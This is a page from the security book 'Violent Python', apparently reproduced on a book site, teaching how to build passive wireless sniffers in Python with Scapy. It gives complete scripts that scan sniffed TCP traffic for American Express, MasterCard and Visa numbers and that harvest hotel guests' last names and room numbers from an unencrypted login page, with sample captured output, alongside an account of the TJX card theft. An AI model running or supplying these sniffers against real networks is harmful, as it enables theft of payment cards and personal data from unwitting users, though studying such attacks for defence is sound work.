Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers (22 page)

The Wall of Sheep—Passively Listening to Wireless Secrets

Since 2001, the Wall of Sheep team has set up a booth at the annual DEFCON security conference. Passively, the team listens for users logging onto email, Web sites, or other network services without any protection or encryption. When the team detects any of these credentials, they display the credentials on a big screen overlooking the conference floor. In recent years the team added a project called Peekaboo, which carves images right out of the wireless
traffic as well. Although benign in nature, the team excellently demonstrates how an attacker might capture the same information. In the following sections, we’ll recreate several attacks to steal interesting information right out of the air.

Using Python Regular Expressions to Sniff Credit Cards

Before sniffing a wireless network for credit card information, a quick review of regular expressions will prove useful. Regular expressions provide a means of matching specific strings of text. Python provides access to regular expressions as part of the regular expression (re) library. A couple of specific regular expressions follow.

‘.’
Matches any character except a newline
‘[ab]’
Matches either the character a or b
‘[0-9]’
Matches any digits 0-9
‘^’
Matches start of the string
‘∗’
Causes the regular expression to match 0 or more repetitions of the previous regular expression
‘+’
Causes the regular expression to match 1 or more repetitions
‘?’
Causes the regular expression to match 0 or 1 repetitions of the preceding regular expression
{n}
Matches exactly n copies of the previous regular expression

An attacker can use regular expressions to match strings for credit card numbers. For the simplicity of our script, we will use the top three credit cards: Visa, MasterCard, and American Express. If you would like to learn more about writing regular expressions for credit cards, visit
http://www.regular-expressions.info/creditcard.html
, which contains regular expressions for some other vendors. American Express credit cards begin with either 34 or 37 and are 15 digits long. Let’s write a small function to check a string to determine if it contains an American Express Credit Card. If it does, we will print this information to the screen. Notice the following regular expression; it ensures the credit card must begin with 3, followed by either a 4 or 7. Next, the regular expression matches13 more digits to ensure a total length of 15 digits.

 import re

 def findCreditCard(raw):

  americaRE= re.findall(“3[47][0-9]{13}”,raw)

  if americaRE:

   print “[+] Found American Express Card: “+americaRE[0]

 def main():

  tests = []

  tests.append(‘I would like to buy 1337 copies of that dvd’)

  tests.append(‘Bill my card: 378282246310005 for \$2600’)

  for test in tests:

   findCreditCard(test)

 if __name__ == “__main__”:

  main()

Running our test case program, we see that it correctly spots the second test case and prints the credit card number.

 attacher$ python americanExpressTest.py

 [+] Found American Express Card: 378282246310005

Now, examine the regular expressions necessary to find MasterCards and Visa credit cards. MasterCard credit cards begin with any number between 51 and 55 and are 16 digits long. Visa credit cards start with the number 4, and are either 13 or 16 digits long. Let us expand our findCreditCard() function to find MasterCard and Visa credit card numbers. Notice the MasterCard regular expression matches the number 5, followed by 1 through 5, followed by 14 digits, for a total of 16 digits in length. The Visa regular expression begins with 4, followed by 12 more digits. We will accept either 0 or 1 cases of 3 more digits to ensure we have either 13 or 16 digits total in length.

 def findCreditCard(pkt):

  raw = pkt.sprintf(‘%Raw.load%’)

  americaRE = re.findall(‘3[47][0-9]{13}’, raw)

  masterRE = re.findall(‘5[1-5][0-9]{14}’, raw)

  visaRE = re.findall(‘4[0-9]{12}(?:[0-9]{3})?’, raw)

  if americaRE:

   print ‘[+] Found American Express Card: ‘ + americaRE[0]

  if masterRE:

   print ‘[+] Found MasterCard Card: ‘ + masterRE[0]

  if visaRE:

   print ‘[+] Found Visa Card: ‘ + visaRE[0]

Now we must match these regular expressions inside of sniffed wireless packets. Please remember to use monitor mode for sniffing purposes, as it allows us to observe both frames intended and not intended for us as a final destination. For parsing packets intercepted on our wireless interface, we will use the Scapy library. Notice the use of the sniff() function. Sniff() passes each TCP packet as
a parameter to the findCreditCard() function. In less than 25 lines of Python code, we have created a small program to steal credit card information.

 import re

 import optparse

 from scapy.all import ∗

 def findCreditCard(pkt):

  raw = pkt.sprintf(‘%Raw.load%’)

  americaRE = re.findall(‘3[47][0-9]{13}’, raw)

  masterRE = re.findall(‘5[1-5][0-9]{14}’, raw)

  visaRE = re.findall(‘4[0-9]{12}(?:[0-9]{3})?’, raw)

  if americaRE:

   print ‘[+] Found American Express Card: ‘ + americaRE[0]

  if masterRE:

   print ‘[+] Found MasterCard Card: ‘ + masterRE[0]

  if visaRE:

   print ‘[+] Found Visa Card: ‘ + visaRE[0]

 def main():

  parser = optparse.OptionParser(‘usage %prog -i’)

  parser.add_option(‘-i’, dest=’interface’, type=’string’,\

   help=’specify interface to listen on’)

   (options, args) = parser.parse_args()

  if options.interface == None:

   printparser.usage

   exit(0)

  else:

   conf.iface = options.interface

  try:

   print ‘[∗] Starting Credit Card Sniffer.’

   sniff(filter=’tcp’, prn=findCreditCard, store=0)

  except KeyboardInterrupt:

   exit(0)

 if __name__ == ‘__main__’:

  main()

Obviously, we do not intend not for anybody to steal credit card data. In fact, this very attack landed a wireless hacker and thief named Albert Gonzalez in jail for over twenty years. But hopefully you realize this attack is relatively simple and not as sophisticated as generally believed. In the next section, we will
examine a separate scenario where we attack an unencrypted wireless network to steal personal information.

From The Trenches
The Demise of the Shadow Crew

In September of 2008, the US District Attorney of Massachusetts indicted
Albert Gonzalez
for wire fraud, damage to computer systems, access device fraud and aggravated identity theft (Heymann, 2008). Albert Gonzalez (AKA soupnazi) used a wireless sniffer to gain access to the computer systems of the TJX Corporation. At the time, the TJX Corporation encrypted their traffic with the flawed and less secure WEP encryption scheme. This oversight allowed Gonzalez’s Shadow Crew to intercept and decrypt the wireless traffic. Their wireless sniffer, along with a variety of other techniques, gained access to over 45.7 million customer cards, including compromised cards at BJ Wholesale, DSW, Office Max, Boston Market, Barnes and Noble, Sports Authority and TJ Maxx.

Seven feet tall and a veteran hacker, Steven Watt conspired with the Shadow Crew in their activities. At the time Watt had a budding career writing real-time trading software (
Zetter, 2009
). For his role in writing the wireless sniffer, the state sentenced Watt to two years in prison and forced him to pay restitution to TJX in the amount of $171.5 million.

Sniffing Hotel Guests

Most hotels offer public wireless networks these days. Often these networks fail to encrypt traffic and lack any enterprise authentication or encryption controls. This section examines a scenario where a few lines of Python can exploit this situation and lead to a disastrous disclosure of public information.

Recently, I stayed in a hotel that offered wireless connectivity to guests. After connecting to the wireless network, my web browser directed me to a web page to log on to the network. The credentials for the network included my last name and hotel room number. After providing this information, my browser posted an unencrypted HTTP page back to the server to receive an authentication cookie. Examining this initial HTTP post revealed something interesting. I noticed a string similar to PROVIDED_LAST_NAME=OCONNOR&PROVIDED_ROOM_NUMBER=1337.

The plaintext transmission to the hotel server contained both my last name and hotel room number. The server made no attempt to protect this information, and my browser simply sent this information in the clear. For this particular hotel, a customer’s last name and room number provided the credentials required to eat a steak dinner in the guest restaurant, receive an expensive massage, or even buy items at the gift shop—so you can imagine that hotel guests would not want an attacker to get a hold of this personal information.

 POST /common_ip_cgi/hn_seachange.cgi HTTP/1.1

 Host: 10.10.13.37

 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_1) AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3

 Content-Length: 128

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,∗/∗;q=0.8

Origin:
http://10.10.10.1

 DNT: 1

Referer:
http://10.10.10.1/common_ip_cgi/hn_seachange.cgi

 Content-Type: application/x-www-form-urlencoded

 Accept-Language: en-us

 Accept-Encoding: gzip, deflate

 Connection: keep-alive

 SESSION_ID= deadbeef123456789abcdef1234567890 &RETURN_MODE=4&VALIDATION_FLAG=1&PROVIDED_LAST_NAME=OCONNOR&PROVIDED_ROOM_NUMBER=1337

We can now use Python to capture this information from other hotel guests. Starting a wireless sniffer in Python is rather simple. First, we will identify our interface to capture traffic. Next, our sniffer listens for traffic using the sniff() function—notice this function filters only TCP traffic and forwards all packets to a procedure named
findGuest().

 conf.iface = “mon0”

 try:

   print “[∗] Starting Hotel Guest Sniffer.”

   sniff(filter=”tcp”, prn=findGuest, store=0)

 except KeyboardInterrupt:

   exit(0)

When the function findGuest receives the packet, it determines if the intercepted packet contains any personal information. First, it copies the raw contents of the payload to a variable named raw. We can then build a regular expression to parse the last name and room number of the guests. Notice our regular expression for last names accepts any string that begins with LAST_NAME and terminates with an ampersand symbol (&). The regular expression for the hotel guest’s room number captures any string that begins with ROOM_NUMBER.

 def findGuest(pkt):

   raw = pkt.sprintf(“%Raw.load%”)

   name=re.findall(“(?i)LAST_NAME=(.∗)&”,raw)

   room=re.findall(“(?i)ROOM_NUMBER=(.∗)’”,raw)

   if name:

    print “[+] Found Hotel Guest “+str(name[0])\

     +”, Room #” + str(room[0])

Putting all this together, we now have a wireless hotel guest sniffer to capture the last name and hotel room number of any guest who connects to the wireless network. Notice that we need to import the scapy library in order to have the capability to sniff traffic and parse it.

 import optparse

 from scapy.all import ∗

 def findGuest(pkt):

  raw = pkt.sprintf(‘%Raw.load%’)

  name = re.findall(‘(?i)LAST_NAME=(.∗)&’, raw)

  room = re.findall(“(?i)ROOM_NUMBER=(.∗)’”, raw)

  if name:

   print ‘[+] Found Hotel Guest ‘ + str(name[0])+\

     ‘, Room #’ + str(room[0])

 def main():

  parser = optparse.OptionParser(‘usage %prog ‘+\

   ‘-i’)

  parser.add_option(‘-i’, dest=’interface’,\

   type=’string’, help=’specify interface to listen on’)

   (options, args) = parser.parse_args()

  if options.interface == None:

   printparser.usage

   exit(0)

  else:

   conf.iface = options.interface

  try:

   print ‘[∗] Starting Hotel Guest Sniffer.’

   sniff(filter=’tcp’, prn=findGuest, store=0)

  except KeyboardInterrupt:

   exit(0)

 if __name__ == ‘__main__’:

  main()

Running our hotel sniffer program, we see how an attacker can identify several guests staying in the hotel.

 attacker# python hotelSniff.py -i wlan0

   [∗] Starting Hotel Guest Sniffer.

  [+] Found Hotel Guest MOORE, Room #1337

  [+] Found Hotel Guest VASKOVICH, Room #1984

  [+] Found Hotel Guest BAGGETT, Room #43434343

I cannot emphasize enough at this time that collection of this information potentially violates several state, federal, and national laws. In the next section, we will further expand our ability to sniff wireless networks by parsing Google searches right out of the air.

Other books

When Did We Lose Harriet? by Patricia Sprinkle
The Many Deaths of Joe Buckley by Assorted Baen authors, Barflies
Dogs of War Episode 5 by Rossi, Monica
Craving by Sofia Grey
Not Otherwise Specified by Hannah Moskowitz
Follow You Home by Mark Edwards
Chickenfeed by Minette Walters
THE BLADE RUNNER AMENDMENT by Paul Xylinides
Ferocity Summer by Alissa Grosso